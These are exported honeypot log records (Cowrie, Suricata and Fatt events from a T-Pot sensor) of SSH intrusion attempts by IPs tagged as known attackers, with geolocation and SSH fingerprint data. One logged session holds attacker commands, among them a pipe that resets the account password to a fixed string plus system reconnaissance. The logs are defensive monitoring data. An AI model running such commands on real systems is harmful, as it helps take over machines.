34274	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:03.973088+03	2021-09-20 15:15:01.686695+03	{"_id": "1AYTA3wBvYTbRNuE11Qh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:03.973088Z", "@timestamp": "2021-09-20T12:00:03.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34275	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:05.179415+03	2021-09-20 15:15:01.687694+03	{"_id": "1gYTA3wBvYTbRNuE21QK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:05.179415Z", "@timestamp": "2021-09-20T12:00:05.179Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34276	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:00:06.996996+03	2021-09-20 15:15:01.688694+03	{"_id": "3wYTA3wBvYTbRNuE4lTb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-libssh_0.9.6'", "session": "f7461e09f685", "version": "b'SSH-2.0-libssh_0.9.6'", "@version": "1", "timestamp": "2021-09-20T12:00:06.996996Z", "@timestamp": "2021-09-20T12:00:06.996Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	known attacker	BR
34277	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 15:00:07.232336+03	2021-09-20 15:15:01.690696+03	{"_id": "4QYTA3wBvYTbRNuE4lTb", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "f7461e09f685", "@version": "1", "timestamp": "2021-09-20T12:00:07.232336Z", "@timestamp": "2021-09-20T12:00:07.232Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	BR
34278	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:01.82338+03	2021-09-20 15:15:01.691694+03	{"_id": "zAYTA3wBvYTbRNuE0FR5", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:00:01.810216+0000", "pkts_toclient": 2, "pkts_toserver": 4, "bytes_toclient": 145, "bytes_toserver": 492}, "host": "1ebe93606296", "http": {"url": "/API/post", "length": 0, "status": 100, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "http_user_agent": "curl/7.64.0"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 10, "action": "allowed", "category": "Potential Corporate Privacy Violation", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 1, "signature": "ET POLICY HTTP POST on unusual Port Possibly Hostile", "signature_id": 2006409}, "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "78.83.66.198", "flow_id": 1423223174552808, "payload": "UE9TVCAvQVBJL3Bvc3QgSFRUUC8xLjENCkhvc3Q6IDc4LjgzLjY2LjE5ODo4MDAwDQpVc2VyLUFnZW50OiBjdXJsLzcuNjQuMA0KQWNjZXB0OiAqLyoNCkF1dGhvcml6YXRpb246IFRva2VuIDEyMzQ1Njc4OTANCkNvbnRlbnQtTGVuZ3RoOiA1NDQxNTY0DQpDb250ZW50LVR5cGU6IG11bHRpcGFydC9mb3JtLWRhdGE7IGJvdW5kYXJ5PS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLTQ0M2I3NzQ1ODJmYjhkNTYNCkV4cGVjdDogMTAwLWNvbnRpbnVlDQoNCg==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57682, "app_proto": "http", "dest_port": 8000, "timestamp": "2021-09-20T12:00:01.823380Z", "@timestamp": "2021-09-20T12:00:01.823Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "POST /API/post HTTP/1.1\\r\\nHost: 78.83.66.198:8000\\r\\nUser-Agent: curl/7.64.0\\r\\nAccept: */*\\r\\nAuthorization: Token 1234567890\\r\\nContent-Length: 5441564\\r\\nContent-Type: multipart/form-data; boundary=------------------------443b774582fb8d56\\r\\nExpect: 100-continue\\r\\n\\r\\n"}}	1	\N	\N	alert	\N	\N
34279	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:03.075108+03	2021-09-20 15:15:01.693695+03	{"_id": "0AYTA3wBvYTbRNuE01Q4", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:03.075108Z", "@timestamp": "2021-09-20T12:00:03.075Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34280	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:03.973664+03	2021-09-20 15:15:01.694695+03	{"_id": "0gYTA3wBvYTbRNuE11Qh", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:03.973664Z", "@timestamp": "2021-09-20T12:00:03.973Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34281	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:04.766697+03	2021-09-20 15:15:01.696695+03	{"_id": "1QYTA3wBvYTbRNuE21QK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 35, "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "src_ip": "81.70.175.230", "ttylog": "log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/95df9ab820c0b94e87412330a566c7e47ceef0cfc297bbe2c51a198d1b017abe after 0 seconds", "session": "318d499fe0dd", "@version": "1", "duration": 0.7936973571777344, "duplicate": true, "timestamp": "2021-09-20T12:00:04.766697Z", "@timestamp": "2021-09-20T12:00:04.766Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	CN
34282	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:02.142805+03	2021-09-20 15:15:01.697694+03	{"_id": "yAYTA3wBvYTbRNuEz1RP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:02.142805Z", "@timestamp": "2021-09-20T12:00:02.142Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34283	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:02.143361+03	2021-09-20 15:15:01.698694+03	{"_id": "yQYTA3wBvYTbRNuEz1RP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "echo -e \\"1\\\\noCQucX5kRRMk\\\\noCQucX5kRRMk\\"|passwd|bash", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: echo -e \\"1\\\\noCQucX5kRRMk\\\\noCQucX5kRRMk\\"|passwd|bash", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:02.143361Z", "@timestamp": "2021-09-20T12:00:02.143Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34284	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:02.144207+03	2021-09-20 15:15:01.699694+03	{"_id": "ygYTA3wBvYTbRNuEz1RP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password: ", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: Enter new UNIX password: ", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:02.144207Z", "@timestamp": "2021-09-20T12:00:02.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34285	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:01.226779+03	2021-09-20 15:15:01.700695+03	{"_id": "tQYTA3wBvYTbRNuEy1Rm", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "cat /proc/cpuinfo | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep name | wc -l", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:01.226779Z", "@timestamp": "2021-09-20T12:00:01.226Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	CN
34286	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:02.144998+03	2021-09-20 15:15:01.701694+03	{"_id": "xgYTA3wBvYTbRNuEz1RP", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "input": "Enter new UNIX password:", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.command.failed", "message": "Command not found: Enter new UNIX password:", "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:02.144998Z", "@timestamp": "2021-09-20T12:00:02.144Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.failed	\N	known attacker	CN
34287	189.50.42.214	109.199.241.180	Suricata	2021-09-20 15:00:07.231682+03	2021-09-20 15:15:01.703695+03	{"_id": "5AYTA3wBvYTbRNuE5FQD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T12:00:06.759245+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1336}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "189.50.42.214", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 706146172573133, "payload": "AAADzAYUnPpbXAc+rYmMi410ltCORQAAAShjdXJ2ZTI1NTE5LXNoYTI1NixjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTgtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTYtc2hhNTEyLGRpZmZpZS1oZWxsbWFuLWdyb3VwLWV4Y2hhbmdlLXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTI1NixkaWZmaWUtaGVsbG1hbi1ncm91cDE0LXNoYTEsZGlmZmllLWhlbGxtYW4tZ3JvdXAxLXNoYTEsZXh0LWluZm8tYwAAAHFzc2gtZWQyNTUxOSxlY2RzYS1zaGEyLW5pc3RwNTIxLGVjZHNhLXNoYTItbmlzdHAzODQsZWNkc2Etc2hhMi1uaXN0cDI1Nixyc2Etc2hhMi01MTIscnNhLXNoYTItMjU2LHNzaC1yc2Esc3NoLWRzcwAAAHhhZXMyNTYtZ2NtQG9wZW5zc2guY29tLGFlczEyOC1nY21Ab3BlbnNzaC5jb20sYWVzMjU2LWN0cixhZXMxOTItY3RyLGFlczEyOC1jdHIsYWVzMjU2LWNiYyxhZXMxOTItY2JjLGFlczEyOC1jYmMsM2Rlcy1jYmMAAAB4YWVzMjU2LWdjbUBvcGVuc3NoLmNvbSxhZXMxMjgtZ2NtQG9wZW5zc2guY29tLGFlczI1Ni1jdHIsYWVzMTkyLWN0cixhZXMxMjgtY3RyLGFlczI1Ni1jYmMsYWVzMTkyLWNiYyxhZXMxMjgtY2JjLDNkZXMtY2JjAAAAe2htYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTItZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMS1ldG1Ab3BlbnNzaC5jb20saG1hYy1zaGEyLTI1NixobWFjLXNoYTItNTEyLGhtYWMtc2hhMQAAAHtobWFjLXNoYTItMjU2LWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTItNTEyLWV0bUBvcGVuc3NoLmNvbSxobWFjLXNoYTEtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi0yNTYsaG1hYy1zaGEyLTUxMixobWFjLXNoYTEAAAAEbm9uZQAAAARub25lAAAAAAAAAAAAAAAAAAAAAAAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 58421, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T12:00:07.231682Z", "@timestamp": "2021-09-20T12:00:07.231Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "........[\\\\.>.....t...E...(curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c...qssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...xaes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1...{hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1....none....none..................."}}	1	\N	\N	alert	known attacker	BR
34288	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:00:06.997786+03	2021-09-20 15:15:01.705697+03	{"_id": "5gYTA3wBvYTbRNuE5VQK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "189.50.42.214", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 58421, "timestamp": "2021-09-20T12:00:06.997786", "@timestamp": "2021-09-20T12:00:06.997Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
34289	81.70.175.230	109.199.241.180	Cowrie	2021-09-20 15:00:10.021929+03	2021-09-20 15:15:01.707694+03	{"_id": "6wYTA3wBvYTbRNuE7lSV", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-tilegx-msb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "81.70.175.230", "asn": 5390, "as_org": "Euronet Communications B.V.", "latitude": 39.9289, "location": {"lat": 39.9289, "lon": 116.3883}, "timezone": "Asia/Shanghai", "longitude": 116.3883, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "81.70.175.230", "eventid": "cowrie.session.params", "message": [], "session": "318d499fe0dd", "@version": "1", "timestamp": "2021-09-20T12:00:10.021929Z", "@timestamp": "2021-09-20T12:00:10.021Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	CN
34290	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:00:07.010321+03	2021-09-20 15:15:01.708695+03	{"_id": "5QYTA3wBvYTbRNuE5FQD", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "http": {"url": "/API/post", "length": 6, "status": 200, "hostname": "78.83.66.198", "protocol": "HTTP/1.1", "http_port": 8000, "http_method": "POST", "authorization": "Token 1234567890", "http_user_agent": "curl/7.64.0", "http_content_type": "text/html"}, "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "geoip": {}, "proto": "TCP", "tx_id": 0, "src_ip": "192.168.20.116", "dest_ip": "78.83.66.198", "flow_id": 1423223174552808, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["BS.SSL.Known.Port", "FB180732_0", "ET.formdata", "et.httpproto", "ET.knowitsnothttpnow"]}, "src_port": 57682, "dest_port": 8000, "timestamp": "2021-09-20T12:00:07.010321Z", "@timestamp": "2021-09-20T12:00:07.010Z", "event_type": "http", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	http	\N	\N
